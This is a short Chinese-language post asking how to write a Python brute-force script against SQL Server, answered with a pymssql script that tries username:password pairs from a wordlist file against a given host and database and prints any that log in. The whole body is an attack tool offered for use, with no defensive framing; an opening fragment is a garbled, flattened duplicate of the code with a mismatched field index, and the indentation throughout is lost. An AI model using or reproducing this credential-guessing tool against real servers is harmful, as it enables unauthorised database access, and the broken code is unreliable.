如何用Python编写针对SQL Server的暴力破解脚本？

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pythonimport optparseimport pymssql

def connect_database(filename, ip, dbname): with open(filename) as f: for content in f.readlines(): allcontent=content.replace('\n', '') result=allcontent.split(':') username=result[1]

import optparse
import pymssql


def connectdatabase(filename,ip,dbname):
with open(filename) as f:
for content in f.readlines():
allcontent = content.replace('\n','')
result = allcontent.split(':')
username = result[0]
password = result[1]
try:
conn = pymssql.connect(host=ip,user=username,password=password,database=dbname)
print '[+] %s %s is right' % (username,password)
except:
pass

def main():
parser = optparse.OptionParser(usage='-m directoryname -i ipaddress -d databasename')
parser.add_option('-m',dest='directoryname',type='string',help='specify target directoryname')
parser.add_option('-i',dest='ipaddress',type='string',help='specify ipaddress')
parser.add_option('-d',dest='databasename',type='string',help='specify databasename')
options,args=parser.parse_args()
dname = options.directoryname
ip = options.ipaddress
dbname = options.databasename
if dname and ip and dbname:
connectdatabase(dname,ip,dbname)
else:
print parser.usage()

if __name__ == '__main__':
main()